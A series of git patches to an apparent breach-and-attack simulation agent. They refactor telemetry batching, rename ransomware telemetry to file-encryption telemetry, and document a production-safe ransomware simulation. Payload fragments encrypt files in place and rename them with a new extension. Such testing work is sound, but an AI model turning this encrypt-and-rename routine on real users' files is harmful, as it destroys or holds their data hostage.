- try: - telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) - - if isinstance(telemetry, IBatchableTelem): - self._add_telemetry_to_batch(telemetry) - else: - self._telemetry_messenger.send_telemetry(telemetry) - except queue.Empty: - pass - - if self._period_elapsed(): - self._send_telemetry_batches() - self._reset() - - self._send_telemetry_batches() - - def _reset(self): - self._last_sent_time = time.time() - self._telemetry_batches = {} - - def _add_telemetry_to_batch(self, new_telemetry: IBatchableTelem): - telem_category = new_telemetry.telem_category - - if telem_category in self._telemetry_batches: - self._telemetry_batches[telem_category].add_telemetry_to_batch(new_telemetry) - else: - self._telemetry_batches[telem_category] = new_telemetry - - def _period_elapsed(self): - return (time.time() - self._last_sent_time) > self._period - - def _send_telemetry_batches(self): - for batchable_telemetry in self._telemetry_batches.values(): - self._telemetry_messenger.send_telemetry(batchable_telemetry) + class _BatchingTelemetryMessengerThread: + def __init__(self, queue: queue.Queue, telemetry_messenger: ITelemetryMessenger, period): + self._queue: queue.Queue[ITelem] = queue + self._telemetry_messenger = telemetry_messenger + self._period = period + + self._should_run_batch_thread = True + # TODO: Create a "timer" or "countdown" class and inject an object instead of + # using time.time() + self._last_sent_time = time.time() + self._telemetry_batches: Dict[str, IBatchableTelem] = {} + + def start(self): + self._should_run_batch_thread = True + self._manage_telemetry_batches_thread = threading.Thread( + target=self._manage_telemetry_batches + ) + self._manage_telemetry_batches_thread.start() + + def stop(self): + self._should_run_batch_thread = False + self._manage_telemetry_batches_thread.join() + + def _manage_telemetry_batches(self): + self._reset() + + while self._should_run_batch_thread: + try: + telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) + + if isinstance(telemetry, IBatchableTelem): + self._add_telemetry_to_batch(telemetry) + else: + self._telemetry_messenger.send_telemetry(telemetry) + except queue.Empty: + pass + + if self._period_elapsed(): + self._send_telemetry_batches() + self._reset() + + self._send_telemetry_batches() + + def _reset(self): + self._last_sent_time = time.time() + self._telemetry_batches = {} + + def _add_telemetry_to_batch(self, new_telemetry: IBatchableTelem): + telem_category = new_telemetry.telem_category + + if telem_category in self._telemetry_batches: + self._telemetry_batches[telem_category].add_telemetry_to_batch(new_telemetry) + else: + self._telemetry_batches[telem_category] = new_telemetry + + def _period_elapsed(self): + return (time.time() - self._last_sent_time) > self._period + + def _send_telemetry_batches(self): + for batchable_telemetry in self._telemetry_batches.values(): + self._telemetry_messenger.send_telemetry(batchable_telemetry) diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py index 65eebc5828f..2de3e0ffe77 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/messengers/test_batching_telemetry_messenger.py @@ -56,11 +56,7 @@ def get_data(self) -> dict: @pytest.fixture def batching_telemetry_messenger(monkeypatch, telemetry_messenger_spy): patch_time(monkeypatch, 0) - btm = BatchingTelemetryMessenger(telemetry_messenger_spy, period=0.001) - btm.start() - yield btm - - btm.stop() + return BatchingTelemetryMessenger(telemetry_messenger_spy, period=0.001) def test_send_immediately(batching_telemetry_messenger, telemetry_messenger_spy): From 7e3eef90cbad277d1f37f4baaaa79e2c35528a02 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 12:27:32 -0400 Subject: [PATCH 0940/1360] agent: Rename get_telemetry_entries() -> get_telemetry_batch() --- monkey/infection_monkey/telemetry/batchable_telem_mixin.py | 4 ++-- monkey/infection_monkey/telemetry/i_batchable_telem.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/telemetry/batchable_telem_mixin.py b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py index 4189f0cf021..913d7d40eb3 100644 --- a/monkey/infection_monkey/telemetry/batchable_telem_mixin.py +++ b/monkey/infection_monkey/telemetry/batchable_telem_mixin.py @@ -15,8 +15,8 @@ def _telemetry_entries(self): return self._list - def get_telemetry_entries(self) -> Iterable: + def get_telemetry_batch(self) -> Iterable: return self._telemetry_entries def add_telemetry_to_batch(self, telemetry: IBatchableTelem): - self._telemetry_entries.extend(telemetry.get_telemetry_entries()) + self._telemetry_entries.extend(telemetry.get_telemetry_batch()) diff --git a/monkey/infection_monkey/telemetry/i_batchable_telem.py b/monkey/infection_monkey/telemetry/i_batchable_telem.py index 3cb82fd4425..e02c41118ef 100644 --- a/monkey/infection_monkey/telemetry/i_batchable_telem.py +++ b/monkey/infection_monkey/telemetry/i_batchable_telem.py @@ -8,7 +8,7 @@ class IBatchableTelem(ITelem, metaclass=abc.ABCMeta): @abc.abstractmethod - def get_telemetry_entries(self) -> Iterable: + def get_telemetry_batch(self) -> Iterable: pass @abc.abstractmethod From 543f0031a24222c742dd16f46c67acbe43eec169 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 12:34:24 -0400 Subject: [PATCH 0941/1360] agent: Fully flush BatchingTelemetryMessenger queue before stopping --- .../telemetry/messengers/batching_telemetry_messenger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index 9541d34d170..252a5e8a7dc 100644 --- a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py +++ b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py @@ -57,7 +57,7 @@ def stop(self): def _manage_telemetry_batches(self): self._reset() - while self._should_run_batch_thread: + while self._should_run_batch_thread or not self._queue.empty(): try: telemetry = self._queue.get(block=True, timeout=self._period / WAKES_PER_PERIOD) From 37a73440af7bce8b475abe92347c510d5ffbd26d Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Mon, 28 Jun 2021 22:43:25 +0530 Subject: [PATCH 0942/1360] tests: Add extra line in tests/monkey_island/utils.py to pass formatting checks --- monkey/tests/monkey_island/utils.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/tests/monkey_island/utils.py b/monkey/tests/monkey_island/utils.py index 2ccd2c17816..dd781f85d65 100644 --- a/monkey/tests/monkey_island/utils.py +++ b/monkey/tests/monkey_island/utils.py @@ -17,6 +17,7 @@ def _get_acl_and_sid_from_path(path: str): acl = security_descriptor.GetSecurityDescriptorDacl() return acl, sid + def assert_windows_permissions(path: str): acl, user_sid = _get_acl_and_sid_from_path(path) From 49eb1cd996a906b1109c2046dd11fa04b1a27190 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 13:13:16 -0400 Subject: [PATCH 0943/1360] agent: Rename RansomwareTelem -> FileEncryptionTelem Ransomware will soon do more than just encrypt files. We should give the telemetry that's related to encrypting files a more descriptive name that better describes what it is reporting. --- .../common/common_consts/telem_categories.py | 2 +- .../ransomware/ransomware_payload.py | 4 ++-- ...ware_telem.py => file_encryption_telem.py} | 8 ++++---- .../ransomware/test_ransomware_payload.py | 12 ++++++------ .../telemetry/test_file_encryption_telem.py | 19 +++++++++++++++++++ .../telemetry/test_ransomware_telem.py | 19 ------------------- 6 files changed, 32 insertions(+), 32 deletions(-) rename monkey/infection_monkey/telemetry/{ransomware_telem.py => file_encryption_telem.py} (77%) create mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index dc083d4ab28..8c39abd74d0 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -8,4 +8,4 @@ class TelemCategoryEnum: TRACE = "trace" TUNNEL = "tunnel" ATTACK = "attack" - RANSOMWARE = "ransomware" + FILE_ENCRYPTION = "file_encryption" diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index da300a17577..f500ce67cab 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -5,8 +5,8 @@ from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.ransomware.file_selectors import select_production_safe_target_files from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION +from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -from infection_monkey.telemetry.ransomware_telem import RansomwareTelem from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -68,5 +68,5 @@ def _add_extension(self, filepath: Path): filepath.rename(new_filepath) def _send_telemetry(self, filepath: Path, error: str): - encryption_attempt = RansomwareTelem((str(filepath), str(error))) + encryption_attempt = FileEncryptionTelem((str(filepath), str(error))) self._telemetry_messenger.send_telemetry(encryption_attempt) diff --git a/monkey/infection_monkey/telemetry/ransomware_telem.py b/monkey/infection_monkey/telemetry/file_encryption_telem.py similarity index 77% rename from monkey/infection_monkey/telemetry/ransomware_telem.py rename to monkey/infection_monkey/telemetry/file_encryption_telem.py index 64cce13c2ae..4ea2ada0d28 100644 --- a/monkey/infection_monkey/telemetry/ransomware_telem.py +++ b/monkey/infection_monkey/telemetry/file_encryption_telem.py @@ -6,10 +6,10 @@ from infection_monkey.telemetry.i_batchable_telem import IBatchableTelem -class RansomwareTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): +class FileEncryptionTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): def __init__(self, entry: Tuple[str, str]): """ - Ransomware telemetry constructor + File Encryption telemetry constructor :param attempts: List of tuples with each tuple containing the path of a file it tried encrypting and its result. If ransomware fails completely - list of one tuple @@ -19,7 +19,7 @@ def __init__(self, entry: Tuple[str, str]): self._telemetry_entries.append(entry) - telem_category = TelemCategoryEnum.RANSOMWARE + telem_category = TelemCategoryEnum.FILE_ENCRYPTION def get_data(self): - return {"ransomware_attempts": self._telemetry_entries} + return {"files": self._telemetry_entries} diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index f26463ed1e2..bead17ed593 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -133,10 +133,10 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): telem_1 = telemetry_messenger_spy.telemetries[0] telem_2 = telemetry_messenger_spy.telemetries[1] - assert ALL_ZEROS_PDF in telem_1.get_data()["ransomware_attempts"][0][0] - assert telem_1.get_data()["ransomware_attempts"][0][1] == "" - assert TEST_KEYBOARD_TXT in telem_2.get_data()["ransomware_attempts"][0][0] - assert telem_2.get_data()["ransomware_attempts"][0][1] == "" + assert ALL_ZEROS_PDF in telem_1.get_data()["files"][0][0] + assert telem_1.get_data()["files"][0][1] == "" + assert TEST_KEYBOARD_TXT in telem_2.get_data()["files"][0][0] + assert telem_2.get_data()["files"][0][1] == "" def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_spy): @@ -149,5 +149,5 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ ransomware_payload.run_payload() telem_1 = telemetry_messenger_spy.telemetries[0] - assert "/file/not/exist" in telem_1.get_data()["ransomware_attempts"][0][0] - assert "No such file or directory" in telem_1.get_data()["ransomware_attempts"][0][1] + assert "/file/not/exist" in telem_1.get_data()["files"][0][0] + assert "No such file or directory" in telem_1.get_data()["files"][0][1] diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py new file mode 100644 index 00000000000..6152942e6cb --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py @@ -0,0 +1,19 @@ +import json + +from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem + +ENCRYPTION_ATTEMPTS = [("", ""), ("", "")] + + +def test_file_encryption_telem_send(spy_send_telemetry): + file_encryption_telem_1 = FileEncryptionTelem(ENCRYPTION_ATTEMPTS[0]) + file_encryption_telem_2 = FileEncryptionTelem(ENCRYPTION_ATTEMPTS[1]) + + file_encryption_telem_1.add_telemetry_to_batch(file_encryption_telem_2) + + file_encryption_telem_1.send() + expected_data = {"files": ENCRYPTION_ATTEMPTS} + expected_data = json.dumps(expected_data, cls=file_encryption_telem_1.json_encoder) + + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "file_encryption" diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py deleted file mode 100644 index e2e674ecd5f..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_ransomware_telem.py +++ /dev/null @@ -1,19 +0,0 @@ -import json - -from infection_monkey.telemetry.ransomware_telem import RansomwareTelem - -ENCRYPTION_ATTEMPTS = [("", ""), ("", "")] - - -def test_ransomware_telem_send(spy_send_telemetry): - ransomware_telem_1 = RansomwareTelem(ENCRYPTION_ATTEMPTS[0]) - ransomware_telem_2 = RansomwareTelem(ENCRYPTION_ATTEMPTS[1]) - - ransomware_telem_1.add_telemetry_to_batch(ransomware_telem_2) - - ransomware_telem_1.send() - expected_data = {"ransomware_attempts": ENCRYPTION_ATTEMPTS} - expected_data = json.dumps(expected_data, cls=ransomware_telem_1.json_encoder) - - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "ransomware" From df1f3cda780e1dd8fc598ba3e282f7d1ce5d552a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 13:30:53 -0400 Subject: [PATCH 0944/1360] agent: Add explicit fields to FileEncryptionTelem --- .../ransomware/ransomware_payload.py | 2 +- .../telemetry/file_encryption_telem.py | 6 +++--- .../ransomware/test_ransomware_payload.py | 12 ++++++------ .../telemetry/test_file_encryption_telem.py | 13 ++++++++++--- 4 files changed, 20 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f500ce67cab..7753022ffd0 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -68,5 +68,5 @@ def _add_extension(self, filepath: Path): filepath.rename(new_filepath) def _send_telemetry(self, filepath: Path, error: str): - encryption_attempt = FileEncryptionTelem((str(filepath), str(error))) + encryption_attempt = FileEncryptionTelem(str(filepath), str(error)) self._telemetry_messenger.send_telemetry(encryption_attempt) diff --git a/monkey/infection_monkey/telemetry/file_encryption_telem.py b/monkey/infection_monkey/telemetry/file_encryption_telem.py index 4ea2ada0d28..117140f9187 100644 --- a/monkey/infection_monkey/telemetry/file_encryption_telem.py +++ b/monkey/infection_monkey/telemetry/file_encryption_telem.py @@ -1,4 +1,4 @@ -from typing import Tuple +from pathlib import Path from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem @@ -7,7 +7,7 @@ class FileEncryptionTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): - def __init__(self, entry: Tuple[str, str]): + def __init__(self, filepath: Path, error: str): """ File Encryption telemetry constructor :param attempts: List of tuples with each tuple containing the path @@ -17,7 +17,7 @@ def __init__(self, entry: Tuple[str, str]): """ super().__init__() - self._telemetry_entries.append(entry) + self._telemetry_entries.append({"path": filepath, "error": error}) telem_category = TelemCategoryEnum.FILE_ENCRYPTION diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index bead17ed593..c2d13085e53 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -133,10 +133,10 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): telem_1 = telemetry_messenger_spy.telemetries[0] telem_2 = telemetry_messenger_spy.telemetries[1] - assert ALL_ZEROS_PDF in telem_1.get_data()["files"][0][0] - assert telem_1.get_data()["files"][0][1] == "" - assert TEST_KEYBOARD_TXT in telem_2.get_data()["files"][0][0] - assert telem_2.get_data()["files"][0][1] == "" + assert ALL_ZEROS_PDF in telem_1.get_data()["files"][0]["path"] + assert telem_1.get_data()["files"][0]["error"] == "" + assert TEST_KEYBOARD_TXT in telem_2.get_data()["files"][0]["path"] + assert telem_2.get_data()["files"][0]["error"] == "" def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_spy): @@ -149,5 +149,5 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ ransomware_payload.run_payload() telem_1 = telemetry_messenger_spy.telemetries[0] - assert "/file/not/exist" in telem_1.get_data()["files"][0][0] - assert "No such file or directory" in telem_1.get_data()["files"][0][1] + assert "/file/not/exist" in telem_1.get_data()["files"][0]["path"] + assert "No such file or directory" in telem_1.get_data()["files"][0]["error"] diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py index 6152942e6cb..07dd556dd45 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py @@ -2,12 +2,19 @@ from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem -ENCRYPTION_ATTEMPTS = [("", ""), ("", "")] +ENCRYPTION_ATTEMPTS = [ + {"path": "", "error": ""}, + {"path": "", "error": ""}, +] def test_file_encryption_telem_send(spy_send_telemetry): - file_encryption_telem_1 = FileEncryptionTelem(ENCRYPTION_ATTEMPTS[0]) - file_encryption_telem_2 = FileEncryptionTelem(ENCRYPTION_ATTEMPTS[1]) + file_encryption_telem_1 = FileEncryptionTelem( + ENCRYPTION_ATTEMPTS[0]["path"], ENCRYPTION_ATTEMPTS[0]["error"] + ) + file_encryption_telem_2 = FileEncryptionTelem( + ENCRYPTION_ATTEMPTS[1]["path"], ENCRYPTION_ATTEMPTS[1]["error"] + ) file_encryption_telem_1.add_telemetry_to_batch(file_encryption_telem_2) From c1af3f8165b24c4e8d7e8c6974687eddfaaa6679 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 13:31:28 -0400 Subject: [PATCH 0945/1360] agent: Fix failing ransomware test on Windows --- .../infection_monkey/ransomware/test_ransomware_payload.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index c2d13085e53..70c43e8c679 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,5 +1,5 @@ import os -from pathlib import PurePath +from pathlib import PurePosixPath import pytest from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( @@ -143,7 +143,7 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ monkeypatch.setattr( ransomware_payload_module, "select_production_safe_target_files", - lambda a, b: [PurePath("/file/not/exist")], + lambda a, b: [PurePosixPath("/file/not/exist")], ), ransomware_payload.run_payload() From dbd6dedb954ac659d7b0d443c21fb724e2ca591e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 13:37:00 -0400 Subject: [PATCH 0946/1360] agent: Add explicit "success" field to FileEncryptionTelem --- .../ransomware/ransomware_payload.py | 8 ++++---- .../telemetry/file_encryption_telem.py | 4 ++-- .../ransomware/test_ransomware_payload.py | 3 +++ .../telemetry/test_file_encryption_telem.py | 12 ++++++++---- 4 files changed, 17 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 7753022ffd0..e0f9fe7ec7e 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -56,10 +56,10 @@ def _encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exc LOG.debug(f"Encrypting {filepath}") self._encryptor.encrypt_file_in_place(filepath) self._add_extension(filepath) - self._send_telemetry(filepath, "") + self._send_telemetry(filepath, True, "") except Exception as ex: LOG.warning(f"Error encrypting {filepath}: {ex}") - self._send_telemetry(filepath, str(ex)) + self._send_telemetry(filepath, False, str(ex)) return results @@ -67,6 +67,6 @@ def _add_extension(self, filepath: Path): new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") filepath.rename(new_filepath) - def _send_telemetry(self, filepath: Path, error: str): - encryption_attempt = FileEncryptionTelem(str(filepath), str(error)) + def _send_telemetry(self, filepath: Path, success: bool, error: str): + encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) diff --git a/monkey/infection_monkey/telemetry/file_encryption_telem.py b/monkey/infection_monkey/telemetry/file_encryption_telem.py index 117140f9187..ff298d3cc77 100644 --- a/monkey/infection_monkey/telemetry/file_encryption_telem.py +++ b/monkey/infection_monkey/telemetry/file_encryption_telem.py @@ -7,7 +7,7 @@ class FileEncryptionTelem(BatchableTelemMixin, IBatchableTelem, BaseTelem): - def __init__(self, filepath: Path, error: str): + def __init__(self, filepath: Path, success: bool, error: str): """ File Encryption telemetry constructor :param attempts: List of tuples with each tuple containing the path @@ -17,7 +17,7 @@ def __init__(self, filepath: Path, error: str): """ super().__init__() - self._telemetry_entries.append({"path": filepath, "error": error}) + self._telemetry_entries.append({"path": filepath, "success": success, "error": error}) telem_category = TelemCategoryEnum.FILE_ENCRYPTION diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 70c43e8c679..7557c505517 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -134,8 +134,10 @@ def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): telem_2 = telemetry_messenger_spy.telemetries[1] assert ALL_ZEROS_PDF in telem_1.get_data()["files"][0]["path"] + assert telem_1.get_data()["files"][0]["success"] assert telem_1.get_data()["files"][0]["error"] == "" assert TEST_KEYBOARD_TXT in telem_2.get_data()["files"][0]["path"] + assert telem_2.get_data()["files"][0]["success"] assert telem_2.get_data()["files"][0]["error"] == "" @@ -150,4 +152,5 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ telem_1 = telemetry_messenger_spy.telemetries[0] assert "/file/not/exist" in telem_1.get_data()["files"][0]["path"] + assert not telem_1.get_data()["files"][0]["success"] assert "No such file or directory" in telem_1.get_data()["files"][0]["error"] diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py index 07dd556dd45..b6d55b9d032 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py @@ -3,17 +3,21 @@ from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem ENCRYPTION_ATTEMPTS = [ - {"path": "", "error": ""}, - {"path": "", "error": ""}, + {"path": "", "success": False, "error": ""}, + {"path": "", "success": True, "error": ""}, ] def test_file_encryption_telem_send(spy_send_telemetry): file_encryption_telem_1 = FileEncryptionTelem( - ENCRYPTION_ATTEMPTS[0]["path"], ENCRYPTION_ATTEMPTS[0]["error"] + ENCRYPTION_ATTEMPTS[0]["path"], + ENCRYPTION_ATTEMPTS[0]["success"], + ENCRYPTION_ATTEMPTS[0]["error"], ) file_encryption_telem_2 = FileEncryptionTelem( - ENCRYPTION_ATTEMPTS[1]["path"], ENCRYPTION_ATTEMPTS[1]["error"] + ENCRYPTION_ATTEMPTS[1]["path"], + ENCRYPTION_ATTEMPTS[1]["success"], + ENCRYPTION_ATTEMPTS[1]["error"], ) file_encryption_telem_1.add_telemetry_to_batch(file_encryption_telem_2) From f8411d3c9290fc4ca3a3691677eeef7fbb56e64b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 13:50:45 -0400 Subject: [PATCH 0947/1360] Island: Rename ransomware config "notifications" section --- monkey/monkey_island/cc/services/config_schema/ransomware.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index cc043e876c4..cbd4e4e7229 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -22,8 +22,8 @@ }, }, }, - "notifications": { - "title": "Notifications", + "other_behaviors": { + "title": "Other Behaviors", "type": "object", "properties": { "readme": { From 04b2ac6bd91172a26e38770a7935b7e3cd7ec277 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Jun 2021 19:42:45 -0400 Subject: [PATCH 0948/1360] Don't normalize line endings in ransomware_targets test data On Windows, git will normalize the line endings of .txt (and other) files to crlf instead of lf. This is useful for many files, but the ransomware_target files need unmodified when they are checked out. By adding an exception in .gitattributes, the files in monkey/tests/data_for_tests/ransomware_targets are not modified on windows. --- .gitattributes | 1 + 1 file changed, 1 insertion(+) create mode 100644 .gitattributes diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000000..1cc8cc472ea --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +monkey/tests/data_for_tests/ransomware_targets/** -text From e34599779b5e23c1a678ed5d1f23fe568bb93642 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jun 2021 09:14:43 +0300 Subject: [PATCH 0949/1360] Add keywords to arguments that create RansomwarePayload in monkey.py --- monkey/infection_monkey/monkey.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 622c17d7dc7..b1bb61e4fc3 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -477,7 +477,8 @@ def run_ransomware(): try: RansomewarePayload( - WormConfiguration.ransomware, batching_telemetry_messenger + config=WormConfiguration.ransomware, + telemetry_messenger=batching_telemetry_messenger, ).run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") From 5b05e6224d59d14f70fad1c49a4e2867ef32ff16 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 29 Jun 2021 13:52:10 +0530 Subject: [PATCH 0950/1360] docs: Modify ransomware page to include info about README.txt file --- docs/content/reference/ransomware.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index a8f7273ea5b..2b630370f0c 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -6,7 +6,9 @@ pre: ' ' weight: 10 --- -The Infection Monkey has the capability of simulating a ransomware attack on your network. +The Infection Monkey has the capability of simulating a ransomware attack on your network through a series of activities. + +#### Encrypting user-specified files All actions performed by the encryption routine are designed to be safe for production environments. @@ -14,6 +16,11 @@ To ensure minimum interference and easy recoverability, the ransomware simulatio files only if the user specifies a directory that contains files that are safe to encrypt. If no directory is specified, no files will be encrypted. +#### Leaving a README.txt file +If a target directory is specified for the encryption routine, the ransomware simulation can be configured to leave a README.txt file there. + +This file clearly states that there is no need to panic and only a simulation is taking place. + From 949a52741b8d84689c01bb0e12950f7917947a25 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 29 Jun 2021 13:57:32 +0530 Subject: [PATCH 0951/1360] docs: Add link to ransomware simulations's README.txt file --- docs/content/reference/ransomware.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/ransomware.md b/docs/content/reference/ransomware.md index 2b630370f0c..e07c3e4f0da 100644 --- a/docs/content/reference/ransomware.md +++ b/docs/content/reference/ransomware.md @@ -17,9 +17,10 @@ files only if the user specifies a directory that contains files that are safe t If no directory is specified, no files will be encrypted. #### Leaving a README.txt file -If a target directory is specified for the encryption routine, the ransomware simulation can be configured to leave a README.txt file there. +If a target directory is specified for the encryption routine, the ransomware simulation can be configured to leave a README.txt file there. This file clearly states that there is no need to panic and only a simulation is taking place. + +The contents of the file can be found [here](https://github.com/guardicore/monkey/tree/develop/monkey/infection_monkey/ransomware/ransomware_readme.txt). -This file clearly states that there is no need to panic and only a simulation is taking place. From a454449ccafc637cd93fd957996f2f4c4a4126fc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jun 2021 12:09:26 +0300 Subject: [PATCH 0952/1360] Do small readability changes in batching_telemetry_messenger.py --- .../telemetry/messengers/batching_telemetry_messenger.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py b/monkey/infection_monkey/telemetry/messengers/batching_telemetry_messenger.py index 